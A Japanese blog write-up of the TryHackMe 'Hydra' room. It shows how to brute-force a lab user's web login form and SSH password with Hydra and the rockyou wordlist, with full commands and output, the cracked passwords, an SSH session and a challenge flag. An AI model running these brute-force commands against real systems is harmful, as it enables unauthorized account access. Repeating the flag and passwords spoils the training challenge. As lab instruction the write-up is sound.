【TryHackMe】Hydraを利用して、Webサイトの認証情報を総当たり攻撃で取得してみた!Hydra Writeup

【TryHackMe】Hydraを利用して、Webサイトの認証情報を総当たり攻撃で取得してみた!Hydra Writeup
  • URLをコピーしました!

今回は、Hydraというツールを利用して、ブルートフォース攻撃やパスワードリスト攻撃をやってみます。
「TryHackMe-Nmap:https://tryhackme.com/room/hydra

解説は、ネタバレになりますので、注意してください。

目次

Hydraのインストール

まずは、Hydraのインストールからになりますが、Kali Linuxを使用している場合は、デフォルトでインストールされています。
今回は、Kali Linuxを利用していますので、インストール手順は省きますが、必要な方は「https://github.com/vanhauser-thc/thc-hydra」からダウンロードしてください。

Using Hydra(Hydraを使用)

インストールができたら、実際にHydraを試してTryHackMeの問題に解答していきます。

事前準備

まずは、ターゲットマシンを起動していきます。

下記の「スタートマシン」を選択して、数分待ちましょう。

こんな感じでマシンが起動できていれば、OKです。

WEBサイトでの総当たり攻撃(Use Hydra to bruteforce molly’s web password. What is flag 1?)

WEBサイトへ総当たり攻撃をやってみます。
その前に、POSTのログインフォーマットをブルートフォース攻撃するためのコマンドを確認しておきましょう。

hydra -l [username] -P [passwordlist] [IP/DOMAIN] http-post-form "[endpoint]:[form]:F=[failed message]"

各パラメータを簡単に確認しておきます。

  • -l:ユーザー名
  • -L:ユーザー名リスト

小文字の場合は、単一ユーザー名でブルートフォース攻撃を実行する。
大文字の場合は、ユーザー名リストを利用してブルートフォース攻撃を実行する。

  • -p:パスワード
  • -P:パスワードリスト

小文字の場合は、単一パスワードでブルートフォース攻撃を実行する。
大文字の場合は、パスワードリストを利用してブルートフォース攻撃を実行する。

  • IP/DMAIN

ターゲットのIPやドメインを指定する。
今回の場合だと、事前準備で起動したターゲットマシンのIPアドレスに該当する。

  • endpoint

ログイン画面のURLを指定する。
例えば、http://10.10.237.126/loginの場合は、「/login」が該当する

  • form

リクエストフォームを指定する。
ユーザー名は、「^USER^」に置き換える。
パスワードは、「^PASS^」に置き換える。
例えば、username=^USER^&password=^PASS^になる。
JSONなどの場合もあるので、注意する。

  • failed message

ログインに失敗した場合のメッセージを指定する。

上記をもとに、Hydraコマンドを作成しましょう。

まずはターゲットマシンを起動できていれば、下記のログイン画面に遷移できると思います。

UsernameとPasswordにadmin/adminでリクエストを送ってみましょう。
ハイライトを入れている部分が、今回必要な情報です。


パスワードリストには、rockyou.txtを利用します。rockyou.txtは、Kali Linuxだと標準でインストールされているので、それを指定してください。
問題から、ユーザー名は「molly」として実行します。
-Vオプションをつけておいて、実行状況も見ておきましょう。

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.237.126 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V

実行結果は、下記になりました。

$ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.237.126 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://10.10.237.126:80/login:username=^USER^&password=^PASS^:F=Your username or password is incorrect.
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "princess" - 6 of 14344399 [child 5] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "1234567" - 7 of 14344399 [child 6] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "rockyou" - 8 of 14344399 [child 7] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "12345678" - 9 of 14344399 [child 8] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "abc123" - 10 of 14344399 [child 9] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "nicole" - 11 of 14344399 [child 10] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "daniel" - 12 of 14344399 [child 11] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "babygirl" - 13 of 14344399 [child 12] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "monkey" - 14 of 14344399 [child 13] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "lovely" - 15 of 14344399 [child 14] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "jessica" - 16 of 14344399 [child 15] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "654321" - 17 of 14344399 [child 5] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "michael" - 18 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "ashley" - 19 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "qwerty" - 20 of 14344399 [child 2] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "111111" - 21 of 14344399 [child 3] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "iloveu" - 22 of 14344399 [child 4] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "000000" - 23 of 14344399 [child 9] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "michelle" - 24 of 14344399 [child 10] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "tigger" - 25 of 14344399 [child 15] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "sunshine" - 26 of 14344399 [child 6] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "chocolate" - 27 of 14344399 [child 11] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "password1" - 28 of 14344399 [child 12] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "soccer" - 29 of 14344399 [child 13] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "anthony" - 30 of 14344399 [child 14] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "friends" - 31 of 14344399 [child 7] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "butterfly" - 32 of 14344399 [child 8] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "purple" - 33 of 14344399 [child 2] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "angel" - 34 of 14344399 [child 3] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "jordan" - 35 of 14344399 [child 9] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "liverpool" - 36 of 14344399 [child 15] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "justin" - 37 of 14344399 [child 5] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "loveme" - 38 of 14344399 [child 0] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "fuckyou" - 39 of 14344399 [child 11] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "123123" - 40 of 14344399 [child 12] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "football" - 41 of 14344399 [child 13] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "secret" - 42 of 14344399 [child 14] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "andrea" - 43 of 14344399 [child 1] (0/0)
[ATTEMPT] target 10.10.237.126 - login "molly" - pass "carlos" - 44 of 14344399 [child 10] (0/0)
[80][http-post-form] host: 10.10.237.126   login: molly   password: sunshine
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-26 00:47:48

これで、パスワードが「sunshine」であることがわかりました。

無事ログインできれば、フラグ1が見つかります。

SSHパスワードの総当たり攻撃(Use Hydra to bruteforce molly’s SSH password. What is flag 2?)

続いては、SSHパスワードを総当たり攻撃してみます。
その前に、SSHをブルートフォース攻撃するためのコマンドを確認しておきましょう。

hydra -l [username] -P [passwordlist] [IP/DOMAIN] ssh

WEBサイトのログインフォームをブルートフォース攻撃するよりも、シンプルですね。
オプションも、基本的には先ほどのものと同じです。

  • -l:ユーザー名
  • -L:ユーザー名リスト

小文字の場合は、単一ユーザー名でブルートフォース攻撃を実行する。
大文字の場合は、ユーザー名リストを利用してブルートフォース攻撃を実行する。

  • -p:パスワード
  • -P:パスワードリスト

小文字の場合は、単一パスワードでブルートフォース攻撃を実行する。
大文字の場合は、パスワードリストを利用してブルートフォース攻撃を実行する。

  • IP/DMAIN

ターゲットのIPやドメインを指定する。
今回の場合だと、事前準備で起動したターゲットマシンのIPアドレスに該当する。

では、今回実行するコマンドを作成していきます。
-tは、スレッド数を指定します。今回はサンプルに合わせて4スレッドで実行してみます。

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.237.126 -t 4 ssh

実行結果は、下記になりました。

$ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.237.126 -t 4 ssh
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-02-26 01:02:30
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://10.10.237.126:22/
[22][ssh] host: 10.10.237.126   login: molly   password: butterfly
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-02-26 01:03:25

パスワードは、「butterfly」ですね。ssh接続してみましょう。
無事接続できれば、下記のようになるはずです。

$ ssh molly@10.10.237.126  
molly@10.10.237.126's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-1092-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

65 packages can be updated.
32 updates are security updates.


Last login: Sat Feb 25 16:13:44 2023 from 10.18.110.90
molly@ip-10-10-237-126:~$ 

最後にフラグの確認ですね。
ホームディレクトリに、flag2.txtがありました。

molly@ip-10-10-237-126:~$ ll
total 36
drwxr-xr-x 3 molly molly 4096 Dec 17  2019 ./
drwxr-xr-x 4 root  root  4096 Dec 17  2019 ../
-rw------- 1 molly molly   42 Dec 17  2019 .bash_history
-rw-r--r-- 1 molly molly  220 Dec 17  2019 .bash_logout
-rw-r--r-- 1 molly molly 3771 Dec 17  2019 .bashrc
drwx------ 2 molly molly 4096 Dec 17  2019 .cache/
-rw-rw-r-- 1 molly molly   38 Dec 17  2019 flag2.txt
-rw-r--r-- 1 molly molly  655 Dec 17  2019 .profile
-rw------- 1 molly molly  604 Dec 17  2019 .viminfo

無事、フラグの取得ができましたね。

molly@ip-10-10-237-126:~$ cat flag2.txt
THM{c8eeb0468febbadea859baeb33b2541b}

まとめ

今回は、Hydraというツールを利用して、ブルートフォース攻撃やパスワードリスト攻撃をやってみました。
パスワードクラッキングが一番わかりやすくてたのしいですね!!

参考文献・サイト

Midium:https://ratiros01.medium.com/tryhackme-hydra-b5308cf47c96

よかったらシェアしてね!
  • URLをコピーしました!

この記事を書いた人

情報セキュリティを勉強するために始めたブログです。
新人のため、広い心を持って見ていただけると嬉しく思います。
楽しくプログラミングを勉強するために、「Teech Lab.」もありますので、ソフトウェア開発にも興味があればぜひ覗いて見てください!

目次